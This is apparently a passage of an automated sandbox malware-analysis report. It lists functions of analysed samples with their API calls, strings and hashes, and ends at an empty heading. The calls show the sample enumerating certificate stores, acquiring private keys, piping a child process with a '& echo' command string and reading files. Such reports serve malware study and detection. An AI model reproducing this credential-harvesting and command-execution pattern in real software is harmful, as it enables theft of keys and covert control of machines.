VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0070024D

Strings

cess, xrefs: 0070018D
kernel32.dll, xrefs: 0070008F, 00700095

Memory Dump Source

Source File: 00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_700000_jfrhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 9be9b3c6779dbc4fec803037c48c4e54be1ef0d9e37ab80a9898581bd6dc0544
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 5C527974A00229DFDB64CF58C984BA8BBB1BF09314F1481E9E50DAB391DB34AE94DF54

Function 00700E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,00700223,?,?), ref: 00700E19
SetErrorMode.KERNELBASE(00000000,?,?,00700223,?,?), ref: 00700E1E

Memory Dump Source

Source File: 00000008.00000002.2519523064.0000000000700000.00000040.00001000.00020000.00000000.sdmp, Offset: 00700000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_700000_jfrhswe.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 363d1c857498136fbe31aee574387ff28b79b8b4375f79cccd03c8d3e1615692
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: AED01231145128B7D7003A94DC09BCD7B5CDF05B62F008411FB0DE9080C774994046E5

Function 0074EE25 Relevance: 1.5, APIs: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Module32First.KERNEL32(00000000,00000224), ref: 0074EE6D

Memory Dump Source

Source File: 00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_73d000_jfrhswe.jbxd

Yara matches

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 73bd893be36d1ce9137fff633f00bdfaa8406ee357451ded9a54f04e41984f8c
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: 66F09036600721AFE7203BF9A88DB6F76ECBF49734F140929F642910C0DB78EC458A61

Function 0074EAE4 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0074EB35

Memory Dump Source

Source File: 00000008.00000002.2520233894.000000000073D000.00000040.00000020.00020000.00000000.sdmp, Offset: 0073D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_73d000_jfrhswe.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: cc6543566534702e374c0188285a9f11e004eff51307f22052e6dc6ee33fc041
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 86112B79A00208EFDB01DF98C985E99BBF5EF08351F0580A4F9489B362D375EA50DF90

Analysis Process: 9245.exePID: 6520, Parent PID: 2580COMMON

Execution Graph

Execution Coverage:	23.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	37.8%
Total number of Nodes:	862
Total number of Limit Nodes:	32

Executed Functions

Function 00007FF7327A9224 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 158
synchronizationtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7327A924D

Part of subcall function 00007FF7327A25DC: GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1985,?,?,?,00007FF7327A155F), ref: 00007FF7327A25E5

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7327A93AB
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7327A93C0
TerminateProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7327A93EF

Part of subcall function 00007FF7327A968C: PeekNamedPipe.KERNELBASE ref: 00007FF7327A96B8

WaitForSingleObject.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000002,?), ref: 00007FF7327A9421
GetExitCodeProcess.KERNELBASE ref: 00007FF7327A9460

Strings

& echo , xrefs: 00007FF7327A92BF

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: ProcessTime$Heap$FileObjectSingleSystemWait$CodeExitFreeNamedPeekPipeTerminate
String ID: & echo
API String ID: 2711250446-3491486023
Opcode ID: 0e5a6491b23a52f077622e03fa1d9963b355e200ccccf575446c2c7b3acaf6c1
Instruction ID: 315f2f2320e971343fb49f87d1d33a5df2faf8225b1037a4b9c90700cdcfafa8
Opcode Fuzzy Hash: 0e5a6491b23a52f077622e03fa1d9963b355e200ccccf575446c2c7b3acaf6c1
Instruction Fuzzy Hash: 0D515325B09642E1EEA0EB16E5542BAE361FF8AB90FC44031CB4E47B95DEBCF455D320

Function 00007FF7327A7138 Relevance: 4.5, APIs: 3, Instructions: 38
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7327A7503), ref: 00007FF7327A714F
CoInitializeSecurity.COMBASE ref: 00007FF7327A71B6
CoCreateInstance.COMBASE ref: 00007FF7327A71D3

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Initialize$CreateInstanceSecurity
String ID:
API String ID: 89549506-0
Opcode ID: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction ID: 2f13cdb1168a959019622b053d0c5ce6ac21af0f7ca7c3abf4fd9f1c065ccc8b
Opcode Fuzzy Hash: b06b60c75a0e364457e69cf4407a40afd88aa559a7b63d120074e74016c78773
Instruction Fuzzy Hash: 7C118C73A14640DAF710DF61E8593AE7774F348B0DF608218EB491A958CF7CD245CB94

Function 00007FF7327A9AC8 Relevance: 4.4, Strings: 3, Instructions: 664
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&s(s, xrefs: 00007FF7327A9B10
>;!&, xrefs: 00007FF7327AA3E2
!sEs, xrefs: 00007FF7327A9B17

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID:
String ID: !sEs$&s(s$>;!&
API String ID: 0-4287716972
Opcode ID: 955dc88760089e02dcc542af92e6f6587c9a500c94dba93d8da6369fc093ed2c
Instruction ID: a6dcb46a197986af7581451b26c81586076afb7ffdc7d843a1af0c1133d936c5
Opcode Fuzzy Hash: 955dc88760089e02dcc542af92e6f6587c9a500c94dba93d8da6369fc093ed2c
Instruction Fuzzy Hash: DB52C491B053C2A9EB50EFB194052FDA7627B1A7D8F845035DF4A2BB8BDE7CA104D360

Function 00007FF7327A2654 Relevance: 3.0, APIs: 2, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,?,?,00007FF7327A1951,?,?,00000000,00007FF7327A19BA), ref: 00007FF7327A2669
RtlReAllocateHeap.NTDLL(?,?,?,00007FF7327A1951,?,?,00000000,00007FF7327A19BA), ref: 00007FF7327A267A

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: 1be63deb12e22185627b2ef812326b1288c4791bb80671bf174c6fa45bf883bb
Instruction ID: 22ec9bee11965282d22c9040282cc51eaac0bf8953dcfdbc605c8a224791a0fc
Opcode Fuzzy Hash: 1be63deb12e22185627b2ef812326b1288c4791bb80671bf174c6fa45bf883bb
Instruction Fuzzy Hash: A6E08615A09586A1E948E796B9600759125BF5EFD1F888030EF0E07B55CD6CE851D610

Function 00007FF7327A2D5C Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 253
encryptiontimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7327A2D90
CertGetNameStringW.CRYPT32 ref: 00007FF7327A2DD3
CertNameToStrW.CRYPT32 ref: 00007FF7327A2EB8
CertNameToStrW.CRYPT32 ref: 00007FF7327A2F0A
FileTimeToSystemTime.KERNEL32 ref: 00007FF7327A2F4B
FileTimeToSystemTime.KERNEL32 ref: 00007FF7327A2FC1

Part of subcall function 00007FF7327A1A70: wvsprintfW.USER32 ref: 00007FF7327A1AA9

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7327A3178

Part of subcall function 00007FF7327A3220: CertGetCertificateContextProperty.CRYPT32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A325E
Part of subcall function 00007FF7327A3220: CryptAcquireCertificatePrivateKey.CRYPT32 ref: 00007FF7327A328D
Part of subcall function 00007FF7327A3220: CryptGetUserKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A32BB
Part of subcall function 00007FF7327A3220: LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3336
Part of subcall function 00007FF7327A3220: GetProcAddress.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00007FF7327A2C48), ref: 00007FF7327A3380
Part of subcall function 00007FF7327A3220: VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00007FF7327A33AC

Strings

1.2.840.113549, xrefs: 00007FF7327A305F, 00007FF7327A306F

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Cert$Time$Name$CertificateCertificatesCryptEnumFileHeapStoreSystem$AcquireAddressContextFreeLibraryLoadPrivateProcProcessPropertyProtectStringUserVirtualwvsprintf
String ID: 1.2.840.113549
API String ID: 2787208766-3888290641
Opcode ID: 7c118aa1dc638b74cc484d50b524cc29b5b0ce845a120789e24d602a0ca92301
Instruction ID: 4e5e00fa623b52cc959a51ee97a579a790a6c27d4cef5ca2d5f1d2a2b8d3df26
Opcode Fuzzy Hash: 7c118aa1dc638b74cc484d50b524cc29b5b0ce845a120789e24d602a0ca92301
Instruction Fuzzy Hash: 09B1C662A0868295EB90EF52D4512BEE765FB8ABD4F800031EF8D07B59DFBCE104DB50

Function 00007FF7327A900C Relevance: 13.6, APIs: 9, Instructions: 137
pipeprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreatePipe.KERNELBASE ref: 00007FF7327A905F
GetLastError.KERNEL32 ref: 00007FF7327A907D
CreatePipe.KERNELBASE ref: 00007FF7327A90B7
GetLastError.KERNEL32 ref: 00007FF7327A90D5
CreatePipe.KERNELBASE ref: 00007FF7327A90FC
GetLastError.KERNEL32 ref: 00007FF7327A911A
CreateProcessW.KERNELBASE ref: 00007FF7327A91B7
GetLastError.KERNEL32 ref: 00007FF7327A91DF
CloseHandle.KERNEL32 ref: 00007FF7327A91F9

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CreateErrorLast$Pipe$CloseHandleProcess
String ID:
API String ID: 2620922840-0
Opcode ID: 06c27cac1460b1730935b6838723191b56705425c7e0ff509bc79b6fafc0960c
Instruction ID: 948c51c7ffb6c4a5a0286e3a7baf6b19695674b87a4e07c0d8de3a91aa97d7fb
Opcode Fuzzy Hash: 06c27cac1460b1730935b6838723191b56705425c7e0ff509bc79b6fafc0960c
Instruction Fuzzy Hash: 8A517F32B08A42A9FB50EF61D4543ED63A1BB5EB98F800035EF0D97B59DEB8E109D750

Function 00007FF7327A2BAC Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 65
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertOpenStore.CRYPT32 ref: 00007FF7327A2C16
CertCloseStore.CRYPT32 ref: 00007FF7327A2CC2

Part of subcall function 00007FF7327A2D5C: CertEnumCertificatesInStore.CRYPT32 ref: 00007FF7327A2D90
Part of subcall function 00007FF7327A2D5C: CertGetNameStringW.CRYPT32 ref: 00007FF7327A2DD3
Part of subcall function 00007FF7327A2D5C: CertNameToStrW.CRYPT32 ref: 00007FF7327A2EB8
Part of subcall function 00007FF7327A2D5C: CertNameToStrW.CRYPT32 ref: 00007FF7327A2F0A

Strings

{s{s, xrefs: 00007FF7327A2C5E
+ss, xrefs: 00007FF7327A2C73
fs{s, xrefs: 00007FF7327A2C6B
+sls, xrefs: 00007FF7327A2C88

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: Cert$NameStore$CertificatesCloseEnumOpenString
String ID: +ss$+sls$fs{s${s{s
API String ID: 3617724111-3691527440
Opcode ID: 4a17e9d2c0338b9fb344b6cd7c9cf4f240aa7ae834c0939f847d1c0c3c5c31e0
Instruction ID: f81c53eb360ae3fa0bee0b54c6c6c2b6c6c3dc27e32d8f3db8ef9a210bb277ae
Opcode Fuzzy Hash: 4a17e9d2c0338b9fb344b6cd7c9cf4f240aa7ae834c0939f847d1c0c3c5c31e0
Instruction Fuzzy Hash: 6921B672A186C291E790EB16E4402AAE361FB8ABD0F849031EB8E47759DE7CE404DB50

Function 00007FF7327A2B1C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStore.CRYPT32 ref: 00007FF7327A2B7F

Strings

":{, xrefs: 00007FF7327A2B4D
"_":"", xrefs: 00007FF7327A2B5C

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CertEnumStoreSystem
String ID: ":{$"_":""
API String ID: 4132996702-2026347918
Opcode ID: 44da9b9bff8289d620a86c1f64e4909e3ecd95bd993dcceb9904786bee631e33
Instruction ID: ddffd0a9e684fa4f614f70ffa96e5cdc2f0596f2d31b9793b77debefaf39cf37
Opcode Fuzzy Hash: 44da9b9bff8289d620a86c1f64e4909e3ecd95bd993dcceb9904786bee631e33
Instruction Fuzzy Hash: B001A215E0869161FA44FB56A4000B99359BF9EFD0FC89031EE1E4776ACFACF142D350

Function 00007FF7327A31C4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CertEnumSystemStoreLocation.CRYPT32 ref: 00007FF7327A3200

Strings

"_": "", xrefs: 00007FF7327A31E2

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CertEnumLocationStoreSystem
String ID: "_": ""
API String ID: 863500693-1453221996
Opcode ID: ac8b6152a2a2325c9d9276e908165484d39c70b2a51ab9d8d04172e70dc37df3
Instruction ID: 641b93e04bf40e8411010e8844afdf19ab46dcd1d330eef22825e4ae4e958590
Opcode Fuzzy Hash: ac8b6152a2a2325c9d9276e908165484d39c70b2a51ab9d8d04172e70dc37df3
Instruction Fuzzy Hash: 06E06D45B1854360EE84BBA2A8110F493197F5EBD0FC82032EA1F06366DDACF189D320

Function 00007FF7327A968C Relevance: 3.0, APIs: 2, Instructions: 42
filepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PeekNamedPipe.KERNELBASE ref: 00007FF7327A96B8
ReadFile.KERNELBASE ref: 00007FF7327A96F7

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: FileNamedPeekPipeRead
String ID:
API String ID: 327342812-0
Opcode ID: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction ID: 4a5a8d0dc985addb9551c38d34729299b54496951686ead1c2f12fb8163521cd
Opcode Fuzzy Hash: 34d1d673edd9c40d02f270326efd511933567532b5db1aeb081074a9eac190bf
Instruction Fuzzy Hash: 3601C022B2868297E790AF16E44077AE3A0FB8ABE4F944134DB484B754DFBCE450DB50

Function 00007FF7327A95A0 Relevance: 3.0, APIs: 2, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WaitForSingleObject.KERNEL32(?,?,00007345,00007FF7327A9B7D), ref: 00007FF7327A95B6
GetExitCodeProcess.KERNELBASE ref: 00007FF7327A95F6

Part of subcall function 00007FF7327A968C: PeekNamedPipe.KERNELBASE ref: 00007FF7327A96B8

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: CodeExitNamedObjectPeekPipeProcessSingleWait
String ID:
API String ID: 2021502500-0
Opcode ID: 76b1647610fa3ac8a868448c97318814702deb2e1fa5470dc729882b7589c6ea
Instruction ID: 392a9303c67ec34944768053ede1ea8c1acf80f3eab31d8ef9269c38c7c374ca
Opcode Fuzzy Hash: 76b1647610fa3ac8a868448c97318814702deb2e1fa5470dc729882b7589c6ea
Instruction Fuzzy Hash: 5A019622A08582E1FF90AF25D4403B9A351FF49F98FA45031CB0D47689DFACECA5D310

Function 00007FF7327A1A70 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wvsprintfW.USER32 ref: 00007FF7327A1AA9

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: wvsprintf
String ID:
API String ID: 2795597889-0
Opcode ID: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction ID: 4f6c761abce4cfa601eb29ba47f354a5345aa3ac04c783caf97548fc564d6efd
Opcode Fuzzy Hash: 1ee19605ac26c83bc426fe2672bc05ad22fbb01a022c874d8b8b7949f4abed9f
Instruction Fuzzy Hash: ECE039B2A00B45D2D7049B15E94008DBB75FB99FD4B958021CB4817324CF38D996C760

Function 00007FF7327A79C4 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,00007FF7327A74DE), ref: 00007FF7327A79CD

Memory Dump Source

Source File: 0000000A.00000002.4176871660.00007FF7327A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7327A0000, based on PE: true

Associated: 0000000A.00000002.4176808164.00007FF7327A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176947542.00007FF7327B1000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4176988341.00007FF7327B4000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000A.00000002.4177025957.00007FF7327B5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ff7327a0000_9245.jbxd

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction ID: a98458d5b10bfe7fa9221026d72eeafcd6ab1c3c3c5edc66fa4c892b2788916c
Opcode Fuzzy Hash: 6118cf754c1c705de9ec470bc179da628b291e502bfd3552ff041d694441724e
Instruction Fuzzy Hash: 6DD09B11D0C581E2DA717B0094060BA9361B75D715FD00232D38D015546FBDA585E915

Non-executed Functions

Function 00007FF7327ADC0C Relevance: 54.7, APIs: 16, Strings: 15, Instructions: 436filestringCOMMON

Download Yara Rule

APIs

PathCombineW.SHLWAPI ref: 00007FF7327ADD8E
PathFileExistsW.SHLWAPI ref: 00007FF7327ADD98
PathQuoteSpacesW.SHLWAPI ref: 00007FF7327ADDAA
lstrcatW.KERNEL32 ref: 00007FF7327ADDC3
GetEnvironmentVariableW.KERNEL32 ref: 00007FF7327ADF50
PathAppendW.SHLWAPI ref: 00007FF7327ADF7F
PathFileExistsW.SHLWAPI ref: 00007FF7327ADF8C
CreateFileW.KERNEL32 ref: 00007FF7327ADFBC
GetFileSize.KERNEL32 ref: 00007FF7327ADFD4
ReadFile.KERNEL32 ref: 00007FF7327ADFFC

Part of subcall function 00007FF7327ACF20: lstrlenA.KERNEL32 ref: 00007FF7327ACF33

Part of subcall function 00007FF7327A25B4: GetProcessHeap.KERNEL32 ref: 00007FF7327A25C1
Part of subcall function 00007FF7327A25B4: HeapFree.KERNEL32 ref: 00007FF7327A25CF

GetEnvironmentVariableW.KERNEL32 ref: 00007FF7327AE279
PathAppendW.SHLWAPI ref: 00007FF7327AE2A2
PathFileExistsW.SHLWAPI ref: 00007FF7327AE2AF
CreateFileW.KERNEL32 ref: 00007FF7327AE2DF
GetFileSize.KERNEL32 ref: 00007FF7327AE2F7

Part of subcall function 00007FF7327A2588: GetProcessHeap.KERNEL32(?,?,00000000,00007FF7327ACD4D), ref: 00007FF7327A2595

ReadFile.KERNEL32 ref: 00007FF7327AE323

Strings

